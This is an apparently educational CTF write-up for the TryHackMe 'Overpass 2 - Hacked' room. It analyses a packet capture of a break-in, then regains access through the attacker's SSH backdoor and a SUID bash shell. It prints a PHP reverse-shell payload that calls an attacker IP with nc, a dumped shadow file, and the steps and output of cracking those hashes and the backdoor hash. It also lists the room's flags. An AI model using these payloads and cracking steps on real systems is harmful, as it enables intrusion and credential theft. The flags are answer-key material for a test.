Recent posts
ABC Security
Categories
Archives

Menu
Pentesting
Web Exploitation
Cryptography
Forensics
Reversing
Binary Exploitation
CTF
Threat Hunting

Misc
Ports list / vulns
ABC *nix commands
Favorites
References
Books

Tools
What links here
Related changes
Special pages
Printable version
Permanent link
Page information

Page Read View source View history Search aldeid

TryHackMe-Overpass-2-Hacked

Overpass 2 - Hacked

Overpass has been hacked! Can you analyse the attacker's actions and hack back in?

Contents [hide]

1 Overpass 2 - Hacked
2 [Task 1] Forensics - Analyse the PCAP
2.1 #1.1 - What was the URL of the page they used to upload a reverse shell?
2.2 #1.2 - What payload did the attacker use to gain access?
2.3 #1.3 - What password did the attacker use to privesc?
2.4 #1.4 - How did the attacker establish persistence?
2.5 #1.5 - Using the fasttrack wordlist, how many of the system passwords were crackable?
3 [Task 2] Research - Analyse the code
3.1 #2.1 - What's the default hash for the backdoor?
3.2 #2.2 - What's the hardcoded salt for the backdoor?
3.3 #2.3 - What was the hash that the attacker used? - go back to the PCAP for this!
3.4 #2.4 - Crack the hash using rockyou and a cracking tool of your choice. What's the password?
4 [Task 3] Attack - Get back in!
4.1 #3.1 - The attacker defaced the website. What message did they leave as a heading?
4.2 #3.2 - Using the information you've found previously, hack your way back in!
4.3 #3.3 - What's the user flag?
4.4 #3.4 - What's the root flag?

[Task 1] Forensics - Analyse the PCAP

Overpass has been hacked! The SOC team (Paradox, congratulations on the promotion) noticed suspicious activity on a late night shift while looking at shibes, and managed to capture packets as the attack happened.

Can you work out how the attacker got in, and hack your way back into Overpass' production server?

Note: Although this room is a walkthrough, it expects familiarity with tools and Linux. I recommend learning basic Wireshark and completing CC: Pentesting and Learn Linux as a bare minimum.

md5sum of PCAP file: 11c3b2e9221865580295bc662c35c6dc

#1.1 - What was the URL of the page they used to upload a reverse shell?

Open the `pcap` file in Wireshark and analyze the HTTP traffic (enter `http` as filter). Right click on the first http frame and select "follow > tcp stream". Here is the first request:

```
GET /development/ HTTP/1.1
Host: 192.168.170.159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
```

```
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Tue, 21 Jul 2020 01:38:24 GMT
If-None-Match: "588-5aae9add656f8-gzip"

HTTP/1.1 200 OK
Date: Tue, 21 Jul 2020 20:33:53 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Tue, 21 Jul 2020 01:38:24 GMT
ETag: "588-5aae9add656f8-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 675
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

..........uTMo.0...W0:.s.v.Vv....aH..........!.I.a.}.l.I....P...#.>.\>.~.<A..]..p..B.3..C.1.......
..O2.4.m.....d.;KG~..z@I.[-...b....pR.>.f.....b..3.
....".}..........
\]:ln...+..q......p...8..K6_#...o.`..C^y..A..A*.h...7..Oy#.YDL.....|..iu?.C...v.~.....8....._[.'7#vC..j.Pi.}...Z..U......k.
e.w[.B..-G.$....."P..kVr1qf...sQ.......k...
...xM.3..{....z..#..c5<.xd.+}...`M ..AE74a"M.r...=..u
r......%...T..!R~.v.e..SNA....S......c.9..?....F.L.../.f.....T.k$..m.%......z.....m..f.IDh...G@..;...6......0..=..z.9..M.i,
.]...*(k
...qA.............1n:.T+\..g&E..H..6M.E.3l...J.V.5%b.p...'$#."..xjH..Q^D.<O.J.LK.....;...#.<K.J..8.....3.n.(Rd'tG?.
.c.1..8...^..N....7..7.s............
```

Answer: `/development/`

#1.2 - What payload did the attacker use to gain access?

Now, from the streams popup window in Wireshark, browse the streams by clicking on the “+” icon at the right stream field. The next stream contains the payload used to create a reverse shell:

```
POST /development/upload.php HTTP/1.1
Host: 192.168.170.159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.170.159/development/
```

```
Content-Type: multipart/form-data; boundary=---------------------------180904902857998703151526006
Content-Length: 454
Connection: keep-alive
Upgrade-Insecure-Requests: 1

-----------------------------180904902857998703151526006
Content-Disposition: form-data; name="fileToUpload"; filename="payload.php"
Content-Type: application/x-php

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

-----------------------------180904902857998703151526006
Content-Disposition: form-data; name="submit"

Upload File
-----------------------------180904902857998703151526006--
HTTP/1.1 200 OK
Date: Tue, 21 Jul 2020 20:34:01 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 39
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The file payload.php has been uploaded.GET /development/uploads/ HTTP/1.1
Host: 192.168.170.159
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Tue, 21 Jul 2020 20:34:05 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 472
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8

............_o.0....)..0m..I....'F..D!*T.4...
....1l...!LM'X.......s.K.$...k:.... ...&.!..._.C..E...{!.J.J.GSD.Ha.%=.R........t...    z   ...(u....MUj.k.
[...C..4.5r.k.......B.4......+.#.+D.\..6y.....qV2......+m.........h.)aP.....a<...
.S.......c..NXma..\J.O....._....ID..YY..3.].n.\.u.\....0].E.k.`..f....t......F.....@4e.- .F.V...g[.Veuu.{...F.
.(@....a}.......]g.....y4^U8...k......=...........D._...]..+&.s#...*.......F..!.
(.y.sa.....D..\^{........X..].........d>.E.......
```

Answer: `<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>`

#1.3 - What password did the attacker use to privesc?

Jump to the next streams to reveal the following payloads:

```
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@overpass-production:/var/www/html/development/uploads$ ls -lAh
ls -lAh
total 8.0K
-rw-r--r-- 1 www-data www-data 51 Jul 21 17:48 .overpass
-rw-r--r-- 1 www-data www-data 99 Jul 21 20:34 payload.php
www-data@overpass-production:/var/www/html/development/uploads$ cat .overpass
cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQH96?6G6C?@E62CE:?DE2?EQN.www-data@overpass-production:/var/www/html/development/uploads$ su james
su james
Password: whenevernoteartinstant

[REDACTED]
```

We see that the james' password is `whenevernoteartinstant`.

#1.4 - How did the attacker establish persistence?

Still in the same stream, scrolling down reveals that the attacker has downloaded a ssh backdoor to establish persistence:

```
[REDACTED]

james@overpass-production:~$ git clone https://github.com/NinjaJc01/ssh-backdoor

<git clone https://github.com/NinjaJc01/ssh-backdoor
Cloning into 'ssh-backdoor'...
remote: Enumerating objects: 18, done.
remote: Counting objects:   5% (1/18)
```

```
remote: Counting objects:  11% (2/18)
remote: Counting objects:  16% (3/18)

[REDACTED]
```

Answer: `https://github.com/NinjaJc01/ssh-backdoor`

#1.5 - Using the fasttrack wordlist, how many of the system passwords were crackable?

Still in the same stream, just before downloading the SSH backdoor, the attacker has dumped the content of the `/etc/shadow` file:

```
james@overpass-production:~$ sudo cat /etc/shadow
sudo cat /etc/shadow
root:*:18295:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
sshd:*:18464:0:99999:7:::
james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:
```

```
::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7::
:
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7
:::
```

Save the content in a file and crack it with John against the `fasttrack` wordlist to confirm how many passwords are crackable:

```
$ /data/src/john/run/john shadow.txt --wordlist=/data/src/wordlists/fasttrack.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
secret12         (bee)
abcd123          (szymex)
1qaz2wsx         (muirland)
secuirty3        (paradox)
4g 0:00:00:00 DONE (2020-08-16 09:32) 16.66g/s 929.1p/s 4645c/s 4645C/s Spring2017
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Answer: `4`

[Task 2] Research - Analyse the code

Now that you've found the code for the backdoor, it's time to analyse it.

#2.1 - What's the default hash for the backdoor?

Still in the same stream as previously in Wireshark, we see that the attacker executes the backdoor with the `-a` option, along with a hash:

```
james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
chmod +x backdoor
james@overpass-production:~/ssh-backdoor$ ./backdoor -a
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec
71bed

<9d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
SSH - 2020/07/21 20:36:56 Started SSH backdoor on 0.0.0.0:2222
```

Let's download the backdoor locally and check ourselves what this option is:

```
$ wget https://github.com/NinjaJc01/ssh-backdoor/raw/master/backdoor
$ chmod +x backdoor
$ ./backdoor --help
backdoor

  Flags:
       --version       Displays the program version string.
    -h --help          Displays help with available flag, subcommand, and positional value parameters.
    -p --port          Local port to listen for SSH on (default: 2222)
    -i --interface     IP address for the interface to listen on (default: 0.0.0.0)
    -k --key           Path to private key for SSH server (default: id_rsa)
    -f --fingerprint   SSH Fingerprint, excluding the SSH-2.0- prefix (default: OpenSSH_8.2p1 Debian-4)
    -a --hash          Hash for backdoor (default:
bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2
170e3)
```

Answer: `bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3`

#2.2 - What's the hardcoded salt for the backdoor?

Reading the source code of the backdoor (https://raw.githubusercontent.com/NinjaJc01/ssh-backdoor/master/main.go) reveals that the salt is hardcoded:

```
[REDACTED]

func passwordHandler(_ ssh.Context, password string) bool {
    return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}
```

Answer: `1c362db832f3f864c8c2fe05f2002a05`

#2.3 - What was the hash that the attacker used? - go back to the PCAP for this!

We saw previously that the attacker used a custom hash:

```
james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
chmod +x backdoor
james@overpass-production:~/ssh-backdoor$ ./backdoor -a
```

```
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec
71bed

<9d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
SSH - 2020/07/21 20:36:56 Started SSH backdoor on 0.0.0.0:2222
```

Answer: `6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed`

#2.4 - Crack the hash using rockyou and a cracking tool of your choice. What's the password?

Analyzing the source code (https://raw.githubusercontent.com/NinjaJc01/ssh-backdoor/master/main.go), we can see that the password is salted as follows:

```
[REDACTED]

func hashPassword(password string, salt string) string {
    hash := sha512.Sum512([]byte(password + salt))
    return fmt.Sprintf("%x", hash)
}

[REDACTED]
```

The salt (remember that the salt is hardcoded) is appended to the password, and SHA512 of the resulting string makes the hash. To summarize, we have:

```
SHA512(password + '1c362db832f3f864c8c2fe05f2002a05') =
'6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fe
c71bed'
```

Now, let's crack it with hashcat (we'll use the mode `1710`, which corresponds to `sha512($pass.$salt)`):

```
$ cat hash.txt
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec
71bed:1c362db832f3f864c8c2fe05f2002a05
$ hashcat --force -m 1710 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-4800MQ CPU @ 2.70GHz, 1024/3144 MB allocatable, 2MCU
```

```
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
* Uses-64-Bit

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D
CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=14 -D DGST_R1=15 -D DGST_R2=6 -D DGST_R3=7 -D
DGST_ELEM=16 -D KERN_TYPE=1710 -D _unroll'
* Device #1: Kernel m01710_a0-pure.dcb403f5.kernel not found in cache! Building may take a while...
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec
71bed:1c362db832f3f864c8c2fe05f2002a05:november16

Session..........: hashcat
Status...........: Cracked
Hash.Type........: sha512($pass.$salt)
Hash.Target......: 6d05358f090eea56a238af02e47d44ee5489d234810ef624028...002a05
Time.Started.....: Sun Aug 16 18:44:00 2020 (2 secs)
Time.Estimated...: Sun Aug 16 18:44:02 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   149.3 kH/s (0.50ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 18432/14344385 (0.13%)
Rejected.........: 0/18432 (0.00%)
Restore.Point....: 16384/14344385 (0.11%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: christal -> tanika

Started: Sun Aug 16 18:43:44 2020
Stopped: Sun Aug 16 18:44:03 2020
```

Answer: `november16`

[Task 3] Attack - Get back in!

Now that the incident is investigated, Paradox needs someone to take control of the Overpass production server again.

There's flags on the box that Overpass can't afford to lose by formatting the server!

#3.1 - The attacker defaced the website. What message did they leave as a heading?

Start the machine and connect to port 80/tcp. The index page shows the following message:

Answer: `H4ck3d by CooctusClan`

#3.2 - Using the information you've found previously, hack your way back in!

Take advantage of the backdoor to connect to the host on port 2222, with the password cracked previously (`november16`)

```
unknown@kali:~$ ssh 10.10.131.25 -p 2222
unknown@10.10.131.25's password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

james@overpass-production:/home/james/ssh-backdoor$
```

#3.3 - What's the user flag?

Hint: The backdoor! It only checks the password.

```
james@overpass-production:/home/james/ssh-backdoor$ cd /home/james/
james@overpass-production:/home/james$ cat user.txt
thm{d119b4fa8c497ddb0525f7ad200e6567}
```

Answer: `thm{d119b4fa8c497ddb0525f7ad200e6567}`

#3.4 - What’s the root flag?

Hint: Did the attacker leave a quick way for them to get root again without a password?

There is a copy of `bash` in james’ home directory, owned by `root` with the suid bit set.

```
james@overpass-production:/home/james$ ./.suid_bash -p
.suid_bash-4.4# cat /root/root.txt
thm{d53b2684f169360bb9606c333873144d}
```

Answer: `thm{d53b2684f169360bb9606c333873144d}`

Categories: Pages using deprecated source tags | CTF

Share your opinion

This page was last edited on 19 August 2020, at 17:23.